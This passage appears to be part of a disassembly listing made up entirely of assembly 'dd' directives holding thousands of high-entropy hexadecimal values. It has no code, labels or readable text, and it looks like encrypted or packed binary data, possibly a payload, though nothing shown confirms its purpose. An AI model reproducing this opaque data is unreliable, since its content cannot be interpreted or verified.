0D78A1E31h, 9341B202h, 72DFEEE2h dd 0EED09D62h, 0E0099287h, 1B305F8Ah, 0A0863230h, 2C545D08h dd 40727A15h, 1B4F51B4h, 3AD8E919h, 31DDD3D1h, 483EA128h dd 306AFBA7h, 0D5C4B42h, 5A02AB24h, 0E060EC13h, 4A1FEE73h dd 445B8EBh, 0EC85F27h, 0F68D1EEDh, 81C77B53h, 2D23026Fh dd 14425D49h, 48F74142h, 0B51DE975h, 0E280CF81h, 1F92E008h dd 5FF8C9C5h, 0AF686990h, 677A942Bh, 508482CCh, 294E6440h dd 0ADCF6239h, 0C01B57D8h, 7E44B5E5h, 958783B4h, 50553783h dd 2E5D9CB9h, 9019E8B6h, 0DD572112h, 27E3828h, 9C7886BEh dd 0B765D83Ah, 0B2045981h, 6E113030h, 42D04412h, 25E96BC8h dd 73487E63h, 0A72DC1BFh, 4BC2D845h, 69C0BF89h, 9677FA68h dd 1E066351h, 95E3113Bh, 16A90B0Fh, 8A406921h, 0D6F705E6h dd 0E886C14Eh, 0E5356C4Ah, 4863DDDh, 18F32B34h, 0D42C2601h dd 1A0E4076h, 0E65F4DBAh dd 8C4CEABCh, 595A5E0Dh, 0C97BA6h, 0B32AC6EDh, 6C6609BBh dd 0FE92F0F1h, 93954E8Dh, 13FCE6AFh, 806F6106h, 68CA27AFh dd 0FDBA1A90h, 0E9AE5C26h, 1FC9C102h, 0C1AF8FBh, 686B4439h dd 55139C0Ch, 80E519E4h, 820C0806h, 0DEE58914h, 0B6F727ECh dd 429F8803h, 0DE4DB535h, 1B0271A4h, 741C0626h, 8513969h dd 0E9EA902Eh, 0A0B5F647h, 7D443A6Ch, 5E437C4Fh, 5E23C2FAh dd 7058FCF4h, 1D495DCh, 0F43EC489h, 1145CF97h, 4171FBD1h dd 0CB3A1C8Bh, 0F8A950AFh, 0D33BE695h, 770CB2Eh, 3FE07D08h dd 81E6F2E3h, 0D13B6271h, 12D4A44h, 0E7DDEF21h, 5E881274h dd 3E2DE9D4h, 6F3814CCh, 0A60BD3DEh, 707D05FAh, 4B26F7ABh dd 0D3821BEh, 0CBD16F6Ch, 0D539F08Fh, 8B168D09h, 1DF54700h dd 104CA415h, 76F6507Fh, 0CDB835C0h, 49221726h, 2850A150h dd 47A6F78Dh, 0FD6C0736h, 83DEF145h, 8416B9EEh, 23962234h dd 4A6FFC3h, 75E9A88Eh, 0E134EFA9h, 0A218DFFh, 0DCBE05D5h dd 0E7A8CC23h, 0E27A7300h, 0B0F18175h, 44127B12h, 3B784E01h dd 6AD44EC6h, 0B04F99ABh, 26302978h, 0BA906F63h, 7D43AA32h dd 80D0BCAh, 0BA14041Ch, 305837CFh, 0DCA54A13h, 64E68B8h dd 88616FDh, 4045E0A1h, 1D2C29E5h, 0EE157148h, 0F7039B94h dd 17045C82h, 53ACFB0h, 0C49A430h, 0F9534EAEh, 25C8ED31h dd 4D779899h, 8D483E95h, 2F6F791Ch, 5758FC5Ch, 0F9A0C68h dd 0D828737Eh, 57011295h, 0E989A773h, 98FED8C8h, 11863876h dd 0A739EE4Bh, 0F633EA2Bh, 817140E9h, 0E8555967h, 1266C84h dd 77FFE2D1h, 0AAA11E2Bh, 40B3F012h, 0E44AE94Dh, 0D55BA9C2h dd 0E6024516h, 21301865h, 729677FEh, 0F245D49Dh, 0E1709D05h dd 4B42685Bh, 3069DDAAh, 69400174h, 0CC681659h, 0D3DEB7Dh dd 0C197396Eh, 5282EC3h, 2DB6F680h, 5DC2F9E9h, 0B38F075h dd 0DED75533h, 86886A56h, 2E52491h, 12DF70Bh, 0F397306h dd 0FB7B02BFh, 0C07C1D16h, 69D75254h, 0A34E2EE9h, 0A22006DDh dd 8F2312C1h, 865FD51Eh, 562F28F8h, 0D2D97C54h, 1BE90610h dd 5EBB8D5Ah, 0A1F013FCh, 959A6AAAh, 32678C1Ah, 29B06DF7h dd 84C70B89h, 2687187Fh, 0FE569DA4h, 48EDF25Bh, 78EB8076h dd 0A5843019h, 0C09AF611h, 0AF03EE3Ah, 27FE51DEh, 89069014h dd 0C9BAE9DAh, 21C50567h, 12F387Ch, 5F12CAA8h, 8D5EEA55h dd 6E87F500h, 98896735h, 0AC4D2FC6h, 6E587729h, 0BC2C2E2Dh dd 455A4BD5h, 8B90A5BDh, 9B5438Ah, 30607768h, 9D27BBA0h dd 0BAA4DF65h, 3CB89016h, 520B68CEh, 5CC93257h, 306DC587h dd 0FE6B22ADh, 0B75A3E7Bh, 0C05BB382h, 0B9281D96h, 73570E19h dd 0B835BB17h, 54E41A9h, 0FB52A47Bh, 0F2193429h, 0A52EAC7Eh dd 68DCC0BBh, 6597788Eh, 2F15213Bh, 751346D8h, 4FA83329h dd 1C5D025h, 971C908h, 0BAF8CF80h, 0C7020876h, 5BF92877h dd 45735E30h, 0E088FE81h, 90F44ACFh, 0FC05C982h, 48B5F8B8h dd 2F65043Ch, 23423AEBh, 97F63477h, 0A2123D93h, 35EBE055h dd 0C05113CBh, 2915059Ah, 0C801D338h, 9E6809A2h, 8947F95Ch dd 145C4676h, 0A57DC161h, 9CDF870h, 12F665ABh, 0C4DD4807h dd 0EC7EB90h, 5AEE11D1h, 12071883h, 0E990D855h, 4EBDA983h dd 0DF8AA2F4h, 0C90BF66Ch, 80542976h, 0B116D141h, 0A60CC62Ch dd 0E93F7263h, 5F32E97Bh, 0DB2D33E0h, 5C205900h, 3DDC1235h dd 2978BDD4h, 7779902Dh, 0A9FC1C96h, 37A24B5Bh, 544E78h dd 2FB9BE85h, 95B06827h, 0BC8B75Fh, 0A8A45A71h, 3A8FA00Fh dd 814201F1h, 0C2213CE1h, 51BC3A79h, 0F8541474h, 0F906DE4Ah dd 0C514E2Fh, 0B1F01401h, 0E38EE9AEh, 48BA6283h, 0F8029357h dd 590EECC2h, 8550C26Dh, 52C53705h, 571653B8h, 12681609h dd 0C33F0482h, 6B74EBF0h, 662447B5h, 0F5BA449Eh, 7A627697h dd 0E3FD0613h, 0F3C12ABh, 0C15C24FBh, 51547EFh, 35164D5Eh dd 2BA9152h, 71061E0h, 0F8F36740h, 0CF205881h, 31C9A881h dd 25F9B86Bh, 2BD9A811h, 46F2D3Fh, 0ADAF2926h, 567AC135h dd 1C8A780Bh, 81DEAAE9h, 28E4C480h, 34AEE9E5h, 0E224C112h dd 321E1902h, 9180489h, 0ACC8D971h, 74D702D5h, 0F1FE3970h dd 191BC708h, 0C0443859h, 6EF810C0h, 6805C296h, 0A2D90B29h dd 0FAF0953Bh, 0B065EDC0h, 0A3595B61h, 8BAA8493h, 9FC5540Eh dd 0F228EB8Fh, 2C089503h, 0EA20891Ah, 57B62B94h, 0E8BB538Bh dd 825C2956h, 29E9241h, 58DC745Bh, 0BE9EEA88h, 0EE25ED42h dd 2731B020h, 0A954A7F1h, 5A0CD94Ah, 955786BFh, 30559FC2h dd 9EF1D681h, 5B18C2EAh, 24AF6757h, 0D0681773h, 0B163CDF5h dd 0D9011517h, 8E6F8006h, 228DEE3h, 7ABB5E32h, 9BE12E40h dd 76F755CFh, 6860CCFAh, 6102CB31h, 417BF8E6h, 212D2786h dd 2DC42A3Bh, 899F4431h, 77E3B900h, 2974AB0Bh, 0B90D5CAh dd 4F0955B8h, 0DD480E61h, 6CDF6F22h, 0A3DF989Ah, 2A83B74h dd 477BF273h, 0E1DDBB57h, 0A7425150h, 0DE860227h, 0BE010DE1h dd 4842130Ah, 0B0BEEC94h, 0DDF856D0h, 290489BEh, 0D9BE58C1h dd 0F5D74200h, 5238055Dh, 914A70CBh, 13EB3BEh, 0CF705357h dd 6ABE817Ah, 0F12B4DF5h, 0A0F601B6h, 0BFDE50B0h, 60E96BAAh dd 147E2143h, 5FC26A4Eh, 7ECFD75Ah, 4290C4A2h, 0D90A429Dh dd 0CAFD5A75h, 0C2C575B5h, 0F1ED8B1Fh, 1C5D490Ah, 1DEE955Fh dd 43C4565Ah, 17E14AACh, 2A337E28h, 29E9D41Dh, 7D9E6E10h dd 0B7534B0Fh, 70F9C913h, 0AC68158Eh, 4D3381Ch, 0A2E85FABh dd 0C0B01711h, 0FE01CAEDh, 97E9585Bh, 6BEE34F5h, 1D4A3916h dd 3F3A5DFFh, 187222A5h, 0BC3F880Bh, 0A7455F70h, 949AEF09h dd 92FC9F04h, 47C5E9E1h, 0D304AF22h, 0C7037B28h, 51168CB7h dd 54E1882Fh, 0FB661221h, 2881EE6h, 54F68041h, 0C07EF13Bh dd 0F52FE9F3h, 0BF5F199Fh, 8724EE28h, 0CDF30BA0h, 0CFDC485Fh dd 7352ECCh, 24180BE6h, 910286D1h, 5F41D60Ch, 1AC6B985h dd 0B60F1C08h, 0F2788593h, 0C04A3FC3h, 772C16BDh, 0CD8600DCh dd 43865A0Bh, 7E41E5B0h, 2627447Fh, 7931FA8Ah, 0FA04AC3Ah dd 0AE2BBF29h, 72B35E04h, 9A10530Bh, 0FF82DEE2h, 0DAD77A81h dd 0D4106C86h, 40913BF1h, 13922E68h, 48AEC093h, 0A8966628h dd 71FEE501h, 5C3D6E5Ah, 0B0D74D2Ah, 0F05F52CEh, 6685181h dd 78393308h, 0C1665E0Bh, 25D28757h, 141E6A9h, 7AAC6F79h dd 93ADC6E9h, 39BC514Eh, 18F82500h, 1F0932B9h, 50F2248h dd 384D55EDh, 80394A5h, 0F634025Ah, 4209702Ch, 0F4E25BE0h dd 6CFB0E05h, 0A509D2F7h, 7D14FD59h, 75D55427h, 5DE515AEh dd 0D72FF853h, 855BC4AFh, 4BE0FA3Eh, 42012D18h, 880C5F2h dd 0D6A848E9h, 0DE4A8958h, 0EF56BF28h, 7B97687h, 3558720Bh dd 5029068Bh, 1B375C82h, 2897B8D7h, 125597D7h, 0BE0B410Ah dd 96BF6F64h, 5163A73Dh, 0A9A1205h, 8EFA11F5h, 0F2624B87h dd 5B65FDEAh, 533055ADh, 41825E5Fh, 0C7C5FE33h, 67F0CFCDh dd 418D3A2h, 0FAEEB977h, 0E66020F6h, 49262D5Eh, 6801920Bh dd 0BA307565h, 0A25461Ch, 6374009h, 0D12D14E9h, 8E05B6EDh dd 0B83C046Fh, 5B1B3C49h, 769DB3A4h, 9A3AEF88h, 0E45628ACh dd 0C466F409h, 0A8100033h, 97745851h, 2813254h, 0BEADDEB4h dd 91F56F8h, 0A3EE90Ch, 7CA7FC56h, 800334A5h, 185E990Ch dd 6B0C0261h, 1364A70Dh, 0A8F317ACh, 0E969F005h, 6A0F3525h dd 36676049h, 81BBC0FDh dd 0E257F6F3h, 0EB046990h, 3FD867D1h, 56986F80h, 4129F8FAh dd 0D20807D9h, 0F9F77CEBh, 2CC6ED0h, 0FEB5FBB4h, 357972C0h dd 8CA2F4EBh, 0B13C61FAh, 3F2A9E58h, 6420C167h, 0D14925EFh dd 0FE07E275h, 77A208C5h, 6A5CBD00h, 4560F4Bh, 7F1144BEh dd 2965E051h, 78F9E971h, 0CB09091Fh, 68F5D459h, 164426D1h dd 0E3EF87DEh, 0AA845ED2h, 9AF6A7ACh, 7DDDA22Ch, 0FCBA6683h dd 4A95A54Bh, 0FDC20181h, 0C6912ACh, 21D49F3h, 2CA113C4h dd 58ECE7C5h, 0B82F5155h, 5FE9A886h, 5084007Eh, 43F6856h dd 5E37361Fh, 0D2E50B49h, 0F8025FD9h, 79661104h, 1A69127Ah dd 1501EAC2h, 0A0B15B1h, 0F500467Ch, 989AB5FCh, 0E912E889h dd 0F54488E7h, 0A8E45CABh, 0E44F5A38h, 64E38C7Bh, 12053BC8h dd 0D3215BE8h, 2E7F6BBCh, 40CCA104h, 7B322086h, 0A2FB0128h dd 21E90880h, 3D039F3h, 3A8B7549h, 289E064Dh, 0CA10DF26h dd 0E9500504h, 0F7F2AB85h, 622DFD58h, 844EB4D2h, 17353700h dd 0F483D158h, 5D8A404Fh, 2988819Fh, 0C23F2AC0h, 0F9FD2FF9h dd 2586494Bh, 5B6455BDh, 0BD169AFAh, 0A8E0793Eh, 0A269FCBCh dd 0ADC7EDDh, 9932832h, 250F576Ah, 0D3133E0h, 417FD8EAh dd 383C6524h, 431601ACh, 0E00F8B87h, 1B45051h, 2CDB7DB1h dd 0C74A1A88h, 1CFDD007h, 5714E681h, 10C19A2Bh, 0BB01BCD0h dd 3D721779h, 0E1C96E53h, 0C3C80BB1h, 0F2778948h, 0F5545Eh dd 3CECE181h, 7EBD132Ch, 6C051DF4h, 0CD678763h, 316DC43h dd 0CC0206D2h, 0C01822C9h, 1504929h, 532E3CB8h, 0F4123543h dd 17B80FD9h, 46851741h, 870160C3h, 6AF0C260h, 42AF65D1h dd 0E7ECFD8Fh, 0F8A008B1h, 0A5DA2CFDh, 271255E9h, 8B50F88Fh dd 0E4530257h, 27BBF21Ah, 4D43072h, 70DDF273h, 6F596977h dd 0D765D58Fh, 3767BEBCh, 3F6E7F3Bh, 499AD9BDh, 3BC93286h dd 7AF0BA18h, 0D6EC128Ch, 0E517AC14h, 0FDA95482h, 296992DBh dd 816C5705h, 5150FD73h, 955C06A8h, 713D6CBh, 0DD105CCBh dd 819E4C1Eh, 0F03007B6h, 0ECF677E3h, 0FC7FEF08h, 700DB132h dd 35AA0500h, 2D388201h, 34472E63h, 0C3AF987Eh, 9C4DE9Dh dd 0EC57D1D0h, 61681CFAh, 945D2515h, 69A3B608h, 235A6DDFh dd 0A9E90A8Eh, 0E8C080FFh, 61B35303h, 3260E1F6h, 1355C641h dd 0C0F60F8h, 80089CB0h, 0AE60E917h, 0D1B720AEh, 0F62E81E6h dd 0AA00EC02h, 472AB605h, 0DB50B708h, 245E0781h, 0C2DE956h dd 3810DDB4h, 612F1C5Fh, 629CD539h, 0E8E2794h, 2CAF1776h dd 259B53A9h, 214832B8h, 0DDD155EBh, 0A49DBE62h, 68028BE9h dd 7E7E3D32h, 560754EBh, 5D132E69h, 5DCB61D1h, 6420FC46h dd 0CEBE1C87h, 9C76AD6Fh, 0CD05AC26h, 0B17B951h, 0BA6820BAh dd 0CA4F6460h, 0F1018FA8h, 0D166F353h, 907B20EAh, 3558704h dd 0B8BAD029h, 7D350041h, 486A6805h, 55C8012Dh, 32E9BEFCh dd 36307F6Bh, 97718268h, 0B8979567h, 7B684BC0h, 383C9341h dd 0A8092D44h, 853DDA72h, 70B053Ah, 59099951h, 7196056Ah dd 5090E62Ch, 81806224h, 17180BF7h, 2B5E5552h, 38256504h dd 22946C2h, 0B05DF520h, 802271AEh, 100B6853h, 5D67C26Eh dd 17C48901h, 0B3803F88h, 5E783EBBh, 16EE35F6h, 512DBE33h dd 5C30BF00h, 4B1E4814h, 11157402h, 0D960414Eh, 3F060A13h dd 0C1834930h, 4C47E6B4h, 0B84AA4B1h, 626325EDh, 7D428960h dd 0E9C326FBh, 7E03FDFBh, 8C60286Ch, 319B91BFh, 4CB86E73h dd 90C5EA9Ch, 71669D17h, 5EBA5B4Bh, 0FE00BAFDh, 686F34C8h dd 0BAB91130h, 0DF64B789h, 67512205h, 800CC085h, 68124FC7h dd 0D9F329FDh, 0FFC30E16h, 0B2613E91h, 9E798C6Bh, 5DFE597Fh dd 741CD597h, 0A59CD195h, 948C4C75h, 2FECB53h, 4EA5E9F0h dd 0C4C5EC9Eh, 0A916D599h, 68F10450h, 9CBB4A5Ah, 5740F37Fh dd 93899F29h, 46A74F54h, 25948Ah, 4E57518Dh, 0E916EE89h dd 7A4E6D75h, 0A83EE4D1h, 3A9F49BAh, 0C680D474h, 0B8D02766h dd 0BACE4A29h, 204A089Eh, 44BCEE34h, 2972D112h, 806A6E1h dd 7EA32D60h, 934A9E5Ah, 0D808DF81h, 9FA0C7F4h, 5845F074h dd 0FC924EE9h, 0F711732h, 0E9B184F8h, 0BED62AFEh, 312EE4FCh dd 82345CF8h, 0E021946h, 0F996FD31h, 0A865719Fh, 0BB11247h dd 0E3F1026Dh, 67E04B07h, 6A033206h, 66A5254Eh, 3DE990EFh dd 5CE6B5CFh, 72A87EB5h, 0A5FDA22Bh, 0E14712F0h, 23F2F8BAh dd 0E881600Bh, 14A02F49h, 506BA75Dh, 72E5B6BFh, 31B29C3Bh dd 377593E6h, 0F556160Bh, 9682F765h, 74E44BBDh, 46FC8627h dd 97C8FE04h, 56CF0148h, 0DE6A7582h, 21BD85Dh, 0E8A1C518h dd 0BADC49E9h, 74053FBBh, 5E42D509h, 0AA1D8044h, 0F9693E36h dd 8FEC72FDh, 0B8E09711h, 5D38F060h, 6D24B168h, 0E07973E3h dd 0FB5BE40Eh, 9350CB5Eh, 9099EC5Fh, 0B2879A38h, 587A94B5h dd 145B3568h, 0BBB2CCh, 5E2A4D06h, 0E608E946h, 96DEDBC7h dd 541966F2h, 858AC07Ah, 0D05C31FEh, 0BE50E36Eh, 167C7C7Bh dd 80CAE96Ah, 5B82B81Ch, 314F2114h, 0E21F1AB6h, 50D45718h dd 0D0C1025Ah, 0F983E9A3h, 0B7166DB1h, 5E9D3B89h, 5246922Ah dd 0DBD6075h, 0B257A1Bh, 0DAF75EF2h, 0FC090658h, 8710720Fh dd 0BC52B03Eh, 1487F2Fh, 933C4989h, 0E9DF0B43h, 954CD2E6h dd 9631F068h, 2CBDC330h, 5BFB64C1h, 0B810FF79h, 68E90B08h dd 2D7121A2h, 3CF54495h, 9E9D5BECh, 0F00BEE95h, 3D2C5F30h dd 20E1B0E4h, 69C3CEEh, 0D86963AEh, 4B1625E5h, 0BF81C059h dd 1365385h, 3B6B1C60h, 55048A6Ah, 0F727C4E9h, 40EE4BF5h dd 96790561h, 311A8D08h, 0F26A58C6h, 95EAEC34h, 0F2018D48h dd 0D766E92Ah, 80C26097h, 533609E6h, 805D5FB3h, 87AF3A9h dd 0E75B78DEh, 4B67816Eh, 0B4836030h, 0BB72A060h, 48B020F1h dd 13739639h, 0A829F76Ch, 0BF5BABh, 5991C160h, 0E412FA35h dd 0B5BE3E8Bh, 7279206Dh, 0AC79F582h, 0D8418469h, 2A600713h dd 0A9979451h, 217D118Bh, 0C9231851h, 0C316E880h, 520BBD35h dd 0B36C94Bh, 271FF4BBh, 0B5F01455h, 18C478D6h, 1E685001h dd 0A3603A25h, 810573E9h, 0FC3E5D5Ah, 49DD42EFh, 71140353h dd 0D15F0A15h, 5600EBE7h, 290EFC91h, 95E977FBh, 0FDF6D30Bh dd 2198A12Eh, 5ED30117h, 9527FE5Ah, 0CA65D5E2h, 0A8DA01DDh dd 0E360DC30h, 28E34B28h, 0E4A68813h, 0D88A42B7h, 9FD1F2CBh dd 0CF409D06h, 0C001629Dh, 128BC2B2h, 165854Ch, 606CCA1Eh dd 42BF35DDh, 7F840C8Ch, 0FB94AAC2h, 2F3780EBh, 0C45F51ADh dd 8BD257AAh, 9327162Fh, 0F9DEC149h, 7B98BE21h, 3D68DC98h dd 0E5766458h, 0A80A13BBh, 0F3EBA504h, 53DFC4C3h, 0AA9255B8h dd 0C1DE4244h, 7665905h, 570AA8CBh, 0AF18D297h, 1C8987Fh dd 6F7997EAh, 66E2C56Ah, 0EEC1010Fh, 5EFBE007h, 0DCE48894h dd 0B02D5C90h, 3A00065h, 128E055Ah, 65DE462Ah, 82A5059h dd 0D038005h, 1E50F66Bh, 49255EB7h, 874DE075h, 601C283Dh dd 5B3800D2h, 0D331AC37h, 2A95A6E9h, 77491B01h, 96FD320Bh dd 7CB11F1Eh, 6E702504h, 2105619Eh, 44FF5DEFh, 132537DBh dd 0B20424B9h, 81EED0D2h, 2F353D4Bh, 10FFE713h, 593F08BCh dd 299D4CF9h, 8607D26h, 580201B1h, 0C616EA68h, 4E17F044h dd 0B02EFC34h, 99BEE4E9h, 80730155h, 6F2872F6h, 11C0FA8h dd 0E39FFDFEh, 0A3CB81BBh, 535F0D68h, 0B3C9532Eh, 24F9336h dd 0AC62121h, 56042F26h dd 0EF61BC39h, 161A8D01h, 0F38742CEh, 0F07844E9h, 34E76845h dd 79812FAAh, 0D41A7ECEh, 1F0485BAh, 0F2313DF3h, 599432F2h dd 0A0470312h, 5317C73Ah, 2700BC20h, 0F363C4EFh, 0D449032h dd 5F6F612Ch, 12496024h, 71093024h, 4BB8712Dh, 3C6BC700h dd 40026205h, 9832672Dh, 0D7616375h, 1607D680h, 0C20927D5h dd 3C3FE150h, 0E0372DDDh, 5438E998h, 43C88963h, 6F2D6D2Eh dd 26E9D9E4h, 0A03B8217h, 0D19AA38Bh, 24206E96h, 0BF58ECCFh dd 0A0EC78F4h, 65211697h, 4089E156h, 781EA268h, 10390848h dd 6802D56Ah, 48AB54E2h, 1E884DDh, 9FE95741h, 6658003Eh dd 94305852h, 0D063236h, 8B09E912h, 68511340h, 0B76C3D36h dd 24F10F00h, 8602148h, 0F374270Ch, 9C52957Bh, 2A34C251h dd 5CD12AA0h, 0AF5031E2h, 6F670295h, 5AD031FCh, 0FB38EC74h dd 0B2605995h, 0F97DB57Ah, 5F726B6Dh, 0F221EF07h, 3404E915h dd 0F0FE8707h, 511473F6h, 4B68130Bh, 0F25F303Bh, 32E3042Eh dd 0A20C5CE9h, 53C90EECh, 440A534Fh, 9E2407F5h, 67BCE644h dd 0D3DDBD38h, 5DEB3103h, 21F9DE29h, 22FC3E64h, 0C186B8B0h dd 9AE1312Dh, 55D3852Dh, 813C64BBh, 5302F4Dh, 0EC8B0BEFh dd 0D4F70763h, 5B55E0E5h, 1B37594Eh, 410D71EBh, 55677F68h dd 88D4102Fh, 82CA7131h, 848D3A88h, 0F2378820h, 0F1292475h dd 0BF0820D1h, 0D62F257Eh, 517D5AE7h, 0F98BC70Ah, 0B0BA3E77h dd 108B9D50h, 4BE46D7h, 6A5244B9h, 586AC127h, 0F48A25F3h dd 2825ECB5h, 5AFE54EFh, 888E5E79h, 2CEA57F9h, 30095B26h dd 795A66F7h, 162CB53Fh, 0F5352D6Ch, 81436EFCh, 0CB5359CEh dd 5BD9D8F3h, 97F7FE5Ah, 800104CCh, 0CF8601E9h, 0E460C7FEh dd 0DB94B53Ah, 0A2425C29h, 0DC0271A4h, 577A442Eh, 0EEB1391Bh dd 561992D9h, 2F27F780h, 6D21571Ah, 1E0B0448h, 0C9618D7Eh dd 48A36A4Bh, 0B5F38986h, 808CE92Dh, 5D52BF22h, 68560B4Dh dd 0F7C63A6Ah, 462F6507h, 0E9374E78h, 7CF23895h, 52DEAE4Eh dd 4D45680Eh, 66B7AE13h, 0D60AB95Fh, 0A4E967BEh, 0E6800233h dd 0D0ACE196h, 9EC6B9D7h, 0B42CB5FCh, 556D8136h, 82D16163h dd 4015C489h, 8268400Bh, 8B053AC0h, 0A891F793h, 6E1AC460h dd 6455CEAFh, 8AE8091Ch, 0B9F4E2E7h, 930BCCF3h, 0A82A5163h dd 77F02CEAh, 1583C07Ch, 813D7301h, 0A84200C9h, 6E1C12Fh dd 2ED52DE9h, 754681C9h, 1CD8828Ah, 0D516F17Dh, 63202C50h dd 9B0CC4A4h, 4D6D013h, 0D03A28DDh, 0F12D7C2Ch, 20B09E6Fh dd 40C90299h, 804470E3h, 9B4BC5F7h, 0B852C8Bh, 0C7D038Ch dd 14788ABFh, 0A901965Ah, 3F071926h, 102FB5D0h, 73225D69h dd 5C115A1Fh, 5E16E101h, 0BDEC3459h, 0C691C07Bh, 45C8060Dh dd 29270C9Bh, 0F379052Fh, 188FB2AFh, 353A58DCh, 27E3984Bh dd 1B5321F7h, 0B5CE833Dh, 3B4E0235h, 0E3BB122h, 859AE912h dd 71C2BF6Fh, 3672DFA7h, 485B5C5Dh, 78AB4A55h, 4E4B77EFh dd 7D55198Eh, 0F1E2B87Fh, 243E16E4h, 4DAEC2B5h, 5C4F1550h dd 24687AA0h, 6A8B096Dh, 1B1800DDh, 9F056328h, 5CE8743Ch dd 2FF0F66h, 0F74F8212h, 72ECC0DFh, 0B7025E4h, 0C09DBAF0h dd 0ACC789F2h, 0FBE9278Eh, 75B16AC0h, 0FAC18009h, 0DC380EC0h dd 0B75321C3h, 8DEFE07Ah, 0BAB03050h, 0E7C05A12h, 0D4BE064Ah dd 0BE5A8458h, 0DC09B8A1h, 8A10F2Fh, 565116B0h, 7ADAD809h dd 78A4203Ch, 3025527Ch, 941477B3h, 87208BB2h, 32F19899h dd 280C85FAh, 727DB262h, 0BDD0FA90h, 84DC8A62h, 53CC9F56h dd 0E6783E03h, 88173571h, 129675D7h, 0BF1303E9h, 0E2CB4E73h dd 5D485D57h, 0D0BD4DF4h, 0B7763035h, 7DB4BAC0h, 0D6204C2Fh dd 0A89E40E2h, 89170945h, 0DEE55AD3h, 0E4B7217Ch, 83A8AAEBh dd 1B640DC6h, 0D058C52Dh, 56B776h, 0EE685084h, 2E57A5FBh dd 68033CAAh, 0ED0A2825h, 20AC280Bh, 0C7F88C70h, 32E49E09h dd 0FEE2D7A9h, 4CACB442h, 5D9753ECh, 709D4396h, 74321D38h dd 0CA81995Fh, 0EEA87107h, 43D6277h, 0C6905D07h, 907C0315h dd 0BD6C2DBFh, 0B7871E57h, 144F9D64h, 9D5311F0h, 5B510EFEh dd 0D58BE47Bh, 64E32EFDh, 7853E9C2h, 0D9BC535Eh, 6EBA80F0h dd 2F080D5Dh, 0BB0027E9h, 7778F2B8h, 0E0051701h, 257D8271h dd 0B1360CCh, 6D47E90Dh, 6ED4AD72h, 1F007BD3h, 1B052EDAh dd 0D3D125E0h, 0C2F3A412h, 0CF15AC1Fh, 82A82916h, 3F200841h dd 0E2BF4B87h, 93247803h, 0AC942FCCh, 0E373258Dh, 58E2A8D6h dd 774E1F1Ch, 34F2034Ah, 83D4077Ch, 8806063Fh, 5157E7EDh dd 49229868h, 3037B479h, 0B9983C3Ch, 68C1D963h, 38D9940Eh dd 0D7A57EFCh, 102DB81Eh, 892FB812h, 0DAC499D1h, 187F3DF0h dd 8455147Ch, 2A2760ECh, 1B582Ch, 0F197035h, 64B70547h dd 5B7C062Ch, 0BC9F613h, 9765FCE1h, 59CB87EEh, 0C9FED9F1h dd 0BE38A2F4h, 1DA98C11h, 14F6BD0Ch, 0E5643564h, 39BDC1AAh dd 7A3CC94Ah, 12C2CCA0h, 0FEDE5106h, 0B9E01D04h, 444F2FFh dd 1EA6096Fh, 30E98BB0h, 0B2589410h, 0DA0BF648h, 0D15AF568h dd 0B564937Eh, 25C34144h, 10286A06h, 0F8BDA358h, 98BC47D9h dd 0DCE68390h, 127E9210h, 0F122542Dh, 0B15E3C70h, 9C3E92CDh dd 0E5A088D6h, 2AE14081h, 489963BFh, 128FA7B5h, 1F5A5AABh dd 2DADFE5Dh, 0EB8968D2h, 744FAD10h, 44FF5B26h, 5ADAD7Dh dd 7A76640Fh, 822C37C6h, 0A5725408h, 2D2D945Fh, 117DC04Ch dd 69E61BA9h, 25C6394Bh, 3399FF34h, 9832ABF8h, 0BFEAA05Ah dd 4A29090Dh, 4F7092Ah, 3A269E8Ch, 35535724h, 95765A02h dd 85B06223h, 2BA0D910h, 0E1BE54h, 0B724CB2h, 0A292DAF7h dd 0B9202A98h, 0D8301B56h, 0C4DA8752h, 290B46FCh, 0FF948BEFh dd 7F0C732Dh, 135D7FE4h, 892A7AE9h, 57E53B0Ah, 924C4822h dd 2FECAB22h, 0DB0F3D38h, 4FBA89F0h, 405CE476h, 4A5B52FEh dd 0B0D6EBEDh, 0B4BD5104h, 0F144B561h, 5ABEB4h, 920F6B9Eh dd 0A9315E44h, 0D8E88B27h, 0BB5B954Fh, 39DD1425h, 0CF24D188h dd 0C2D71DC3h, 62F7E9FAh, 0FD5817FCh, 2D271555h, 8419B01h dd 16BB8B2Fh, 94ABF916h, 5EC4BA5Bh, 0BAF4B3ECh, 7981BBE2h dd 2A138F0Ah, 0D651CDF9h, 7337EC2Ah, 0CA332673h, 482D0CF8h dd 0F9137CC6h, 7249EC5Bh, 3B11A5Eh, 94756AAFh, 13DCB7BCh dd 0BF44DAF0h, 829EA1A7h, 0D30684D4h, 6969F04Ah, 180D1049h dd 5909410Bh, 74B600A5h, 66CE05FEh, 2046B968h, 20C9B3C1h dd 9BFDE4Ah, 0D9040194h, 9BB90005h, 48651521h, 0F3072949h dd 673B8210h, 0BE7C91F1h, 1675204Fh, 99D2931Ah, 0C1505524h dd 7A17709Fh, 0E9699632h, 7025D773h, 0E9531373h, 0BECB45F8h dd 2D6AB10Bh, 0ED49F3Bh, 0D6C2250Ch, 23E985D0h, 12B2EAB9h dd 0A348E517h, 7294B6Dh, 457F7A40h, 0D13117E5h, 20EAB1E8h dd 0EC9803C8h, 848F2A28h, 0D6E77025h, 60D142F1h, 101EA45Fh dd 1388A1Eh, 5BDE84D2h, 0AE2E8431h, 0E06E961Eh, 0E85CB80Ah dd 1E3FD953h, 8B8E452Ah, 5511717Bh, 0D4D03918h, 4B8E49FFh dd 83116F6Dh, 0A62BD231h, 1BB31887h, 55AE653h, 0F725172Ch dd 0A8AC06DEh, 7EBF164Bh, 4EEB4351h, 1099EF06h, 4AAC2BE8h dd 0B215AD4Bh, 0ACE90133h, 0DD9C5382h, 8EDCEDBAh, 2C53C025h dd 9D15F4DAh, 895DFE81h, 0FDBE3D3h, 335B2409h, 0C3F564Fh dd 0BB148CE2h, 0A7F90104h, 0B3AB31E0h, 0BD550079h, 4CC95929h dd 0C7715AE9h, 0EE578434h dd 904BB6B9h, 0BA2F9C11h, 0EB005176h, 7B822A36h, 9AFCB2E9h dd 2C62D4Bh, 207A9ED5h, 5C97F138h, 323E2764h, 0D5BCBF90h dd 53A2BF01h, 0F12F3D0Eh, 0E7202117h, 90BD1A04h, 0A8807741h dd 7EE523C5h, 84FF9561h, 5509AA38h, 18E7DD84h, 9C04173Ch dd 51C1608Ch, 29FA69BDh, 0C1F98E4Ah, 0B858C5C4h, 0F75CA2C7h dd 0AF4AF004h, 0DF218E99h, 5F7E68C8h, 3A77A86Fh, 0C1390563h dd 40BE06E7h, 60430B1Ah, 9E24E923h, 0C3426390h, 